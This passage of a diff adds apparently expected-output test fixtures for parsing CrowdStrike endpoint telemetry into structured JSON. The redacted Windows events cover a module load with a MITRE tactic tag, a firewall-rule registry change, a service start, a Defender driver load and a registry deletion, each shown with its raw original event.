+                "category": [
+                    "library"
+                ],
+                "created": "2025-09-15T08:47:27.906Z",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"0\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-computer-name",
+                "id": "827afde25ba0eeda5d204a68ff612048",
+                "name": "redacted-computer-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ClassifiedModuleLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "827afde25ba0eeda5d204a68ff612048",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3542590006570",
+                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
+                "name": "<destination>.exe",
+                "thread": {
+                    "id": 32005063951800
+                }
+            },
+            "related": {
+                "hash": [
+                    "9fd1131ff976c9a3212a1db685870aa1",
+                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
+                    "3164437859"
+                ],
+                "hosts": [
+                    "redacted-computer-name"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "81.2.69.142"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.142",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Defense Evasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Subvert Trust Controls"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-09-15T08:47:27.906Z",
+            "crowdstrike": {
+                "Attacks": [
+                    {
+                        "Tactic": "Defense Evasion",
+                        "Technique": "Subvert Trust Controls"
+                    }
+                ],
+                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
+                "ConfigStateHash": "3164437859",
+                "ContextProcessId": "617055030004",
+                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "ImageSignatureLevel": "2",
+                "ImageSignatureType": "1",
+                "IsProcessInitializing": "0",
+                "LocalAddressIP4": [
+                    "81.2.69.142"
+                ],
+                "MappedFromUserMode": "1",
+                "ModuleCharacteristics": "8450",
+                "ModuleLoadTelemetryClassification": "256",
+                "ModuleSize": "40960",
+                "OriginalFilename": "redacted.dll",
+                "PrimaryModule": "0",
+                "SignInfoFlags": "932000",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16",
+                "name": "ClassifiedModuleLoadV5"
+            },
+            "device": {
+                "id": "827afde25ba0eeda5d204a68ff612048"
+            },
+            "dll": {
+                "Ext": {
+                    "size": 40960
+                },
+                "code_signature": {
+                    "exists": true,
+                    "trusted": true
+                },
+                "hash": {
+                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
+                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
+                },
+                "name": "<redacted>.dll",
+                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
+                "pe": {
+                    "original_file_name": "redacted.dll"
+                }
+            },
+            "event": {
+                "action": "ClassifiedModuleLoad",
+                "category": [
+                    "library"
+                ],
+                "created": "2025-09-15T08:47:27.906Z",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-computer-name",
+                "id": "827afde25ba0eeda5d204a68ff612048",
+                "name": "redacted-computer-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ClassifiedModuleLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "827afde25ba0eeda5d204a68ff612048",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3542590006570",
+                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
+                "name": "<destination>.exe",
+                "thread": {
+                    "id": 32005063951800
+                }
+            },
+            "related": {
+                "hash": [
+                    "9fd1131ff976c9a3212a1db685870aa1",
+                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
+                    "3164437859"
+                ],
+                "hosts": [
+                    "redacted-computer-name"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "81.2.69.142"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.142",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Defense Evasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Subvert Trust Controls"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "864",
+                "ConfigStateHash": "2080600092",
+                "ContextProcessId": "1007045000929",
+                "ContextTimeStamp": "2025-10-02T16:56:51.858Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "RegClassification": "334",
+                "RegClassificationFlags": "1",
+                "RegClassificationIndex": "718",
+                "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "RegOperationType": "1",
+                "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|",
+                "RegType": "1",
+                "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
+                "name": "24ba14f1e5840e900e581616a2fe"
+            },
+            "device": {
+                "id": "be027d4cbada339f804f9c19f5a2d5a6"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "registry",
+                    "host",
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "be027d4cbada339f804f9c19f5a2d5a6",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RegSystemConfigValueUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1007045000929",
+                "thread": {
+                    "id": 700420809200030
+                }
+            },
+            "registry": {
+                "data": {
+                    "strings": [
+                        "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|"
+                    ],
+                    "type": "REG_SZ"
+                },
+                "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}"
+            },
+            "related": {
+                "hash": [
+                    "2080600092"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-15T11:16:49.450Z",
+            "crowdstrike": {
+                "AuthenticationId": "333",
+                "ConfigStateHash": "00000000",
+                "ContextTimeStamp": "2025-09-15T11:16:48.880Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "InterfaceGuid": "12ABC-345-56D7-X",
+                "InterfaceVersion": "1111111",
+                "LocalAddressIP4": [
+                    "89.160.20.128"
+                ],
+                "RpcClientProcessId": "000000000000",
+                "RpcClientThreadId": "2222222222222",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "19",
+                "TokenType": "1",
+                "cid": "22222bbbbbbbbbbbbbdddddddddd1233",
+                "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc",
+                "name": "ServiceStartedV2"
+            },
+            "device": {
+                "id": "11111aaaaaaaaaaaaacccccccccddddd"
+            },
+            "event": {
+                "action": "ServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-09-15T11:16:49.450Z",
+                "id": "aaaaaaaaaa-c6b5-499a-a494-cccccccccc|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233",
+                "kind": "event",
+                "original": "{\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"17\",\"InterfaceGuid\":\"12ABC-345-56D7-X\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaaaa-c6b5-499a-a494-cccccccccc\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757935009450\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1757935008.880\",\"UserName\":\"redacted-computer-name\",\"ConfigStateHash\":\"00000000\",\"InterfaceVersion\":\"1111111\",\"RpcClientThreadId\":\"2222222222222\",\"AuthenticationId\":\"333\",\"ServiceDisplayName\":\"<redacted>\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\<redacted>.exe\",\"TargetProcessId\":\"444444444444\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\Windows\\\\System32\\\\<redacted>.exe\",\"RpcOpNum\":\"19\",\"Entitlements\":\"15\",\"name\":\"ServiceStartedV2\",\"ComputerName\":\"redacted-user-name\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"RpcNestingLevel\":\"0\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-user-name",
+                "id": "11111aaaaaaaaaaaaacccccccccddddd",
+                "name": "redacted-user-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ServiceStarted",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "11111aaaaaaaaaaaaacccccccccddddd",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\system32\\<redacted>.exe"
+                ],
+                "args_count": 1,
+                "command_line": "C:\\Windows\\system32\\<redacted>.exe",
+                "entity_id": "444444444444",
+                "executable": "\\Device\\Volume\\Windows\\System32\\<redacted>.exe",
+                "name": "<redacted>.exe",
+                "title": "<redacted>"
+            },
+            "related": {
+                "hash": [
+                    "00000000"
+                ],
+                "hosts": [
+                    "redacted-user-name"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "user": [
+                    "redacted-computer-name"
+                ]
+            },
+            "source": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "redacted-computer-name"
+            }
+        },
+        {
+            "@timestamp": "2025-09-15T03:12:42.256Z",
+            "crowdstrike": {
+                "AuthenticodeHashData": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "AuthenticodeHashDataSHA256": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "CertificateIssuer": "Microsoft Windows Production PCA 2011",
+                "CertificatePublisher": "Microsoft Windows",
+                "CertificateSignatureHash": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
+                "CertificateSignatureHashAlgorithm": "32780",
+                "CompanyName": "Microsoft Corporation",
+                "ConfigStateHash": "111111111",
+                "ContextProcessId": "000000000000",
+                "ContextTimeStamp": "2025-09-15T03:12:38.885Z",
+                "DriverLoadFlags": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "FileVersion": "4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)",
+                "FixedFileVersion": "4.18.25070.5",
+                "HashAlgorithm": "32780",
+                "ImageCheckSum": "123456",
+                "ImageEntryPoint": "94208",
+                "ImageTimeStamp": "2448850720",
+                "LocalAddressIP4": [
+                    "89.160.20.128"
+                ],
+                "OriginalFilename": "wdnisdrv.sys",
+                "RpcClientProcessId": "000000000000",
+                "RpcClientThreadId": "1908581779603",
+                "cid": "22222bbbbbbbbbbbbbdddddddddd1233",
+                "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb",
+                "name": "DriverLoadV6"
+            },
+            "device": {
+                "id": "11111aaaaaaaaaaaaacccccccccddddd"
+            },
+            "dll": {
+                "code_signature": {
+                    "subject_name": "Microsoft Windows"
+                },
+                "hash": {
+                    "md5": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "sha256": "cccccccccccccccccccccccccccccccccccccccccccccccccccccc"
+                },
+                "name": "WdNisDrv.sys",
+                "path": "\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys",
+                "pe": {
+                    "original_file_name": "wdnisdrv.sys"
+                }
+            },
+            "event": {
+                "action": "load",
+                "category": [
+                    "driver"
+                ],
+                "created": "2025-09-15T03:12:42.256Z",
+                "id": "aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb|11111aaaaaaaaaaaaacccccccccddddd|22222bbbbbbbbbbbbbdddddddddd1233",
+                "kind": "event",
+                "original": "{\"AuthenticodeHashDataSHA256\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ContextThreadId\":\"1111111111111\",\"CertificateIssuer\":\"Microsoft Windows Production PCA 2011\",\"aip\":\"89.160.20.128\",\"CertificateSignatureHash\":\"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\",\"CertificatePublisher\":\"Microsoft Windows\",\"CompanyName\":\"Microsoft Corporation\",\"event_platform\":\"Win\",\"AuthenticodeHashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"OriginalFilename\":\"wdnisdrv.sys\",\"FileVersion\":\"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)\",\"ImageCheckSum\":\"123456\",\"EventOrigin\":\"17\",\"RpcClientProcessId\":\"000000000000\",\"id\":\"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757905962256\",\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1757905958.885\",\"ConfigStateHash\":\"111111111\",\"ContextProcessId\":\"000000000000\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"94208\",\"MD5HashData\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"RpcClientThreadId\":\"1908581779603\",\"SHA256HashData\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccc\",\"ServiceDisplayName\":\"WdNisDrv\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FixedFileVersion\":\"4.18.25070.5\",\"RegistryPath\":\"\",\"ImageFileName\":\"\\\\Device\\\\Volume\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"ImageTimeStamp\":\"2448850720\",\"Entitlements\":\"15\",\"name\":\"DriverLoadV6\",\"ComputerName\":\"redacted-computer-name\",\"CertificateSignatureHashAlgorithm\":\"32780\",\"aid\":\"11111aaaaaaaaaaaaacccccccccddddd\",\"cid\":\"22222bbbbbbbbbbbbbdddddddddd1233\",\"HashAlgorithm\":\"32780\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-computer-name",
+                "id": "11111aaaaaaaaaaaaacccccccccddddd",
+                "name": "redacted-computer-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DriverLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "11111aaaaaaaaaaaaacccccccccddddd",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "entity_id": "000000000000",
+                "thread": {
+                    "id": 1111111111111
+                },
+                "title": "WdNisDrv"
+            },
+            "related": {
+                "hash": [
+                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                    "cccccccccccccccccccccccccccccccccccccccccccccccccccccc",
+                    "111111111"
+                ],
+                "hosts": [
+                    "redacted-computer-name"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "service": {
+                "name": "WdNisDrv"
+            },
+            "source": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-15T07:12:11.466Z",
+            "crowdstrike": {
+                "AuthenticationId": "997",
+                "ConfigStateHash": "2080600092",
+                "ContextProcessId": "100704500092",
+                "ContextTimeStamp": "2025-09-15T07:12:09.062Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "LocalAddressIP4": [
+                    "81.2.69.192"
+                ],
+                "RegClassification": "102",
+                "RegClassificationFlags": "257",
+                "RegClassificationIndex": "405",
+                "RegObjectName": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED",
+                "RegOperationType": "2",
+                "RegType": "0",
+                "RegValueName": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
+                "name": "RegCrowdstrikeValueUpdateV1"
+            },
+            "device": {
+                "id": "be027d4cbada339f804f9c19f5a2d5a6"
+            },
+            "event": {
+                "action": "deletion",
+                "category": [
+                    "registry"
+                ],
+                "created": "2025-09-15T07:12:11.466Z",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"1945182997323\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\REGISTRY\\\\MACHINE\\\\SYSTEM\\\\REDACTED\\\\Services\\\\REDACTED\\\\Keyword\\\\REDACTED\\\\Keyword\\\\REDACTED\",\"RegClassificationFlags\":\"257\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"\",\"timestamp\":\"1757920331466\",\"LocalAddressIP4\":\"81.2.69.192\",\"event_simpleName\":\"RegCrowdstrikeValueUpdate\",\"ContextTimeStamp\":\"1757920329.062\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"100704500092\",\"RegType\":\"0\",\"RegClassificationIndex\":\"405\",\"AuthenticationId\":\"997\",\"ConfigBuild\":\"1007.3.0019907.15\",\"RegValueName\":\"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}\",\"RegClassification\":\"102\",\"Entitlements\":\"15\",\"name\":\"RegCrowdstrikeValueUpdateV1\",\"ComputerName\":\"redacted-computer-name\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "host": {
+                "hostname": "redacted-computer-name",
+                "id": "be027d4cbada339f804f9c19f5a2d5a6",
+                "name": "redacted-computer-name",
+                "os": {
+                    "type": "windows"
+                }
+            },
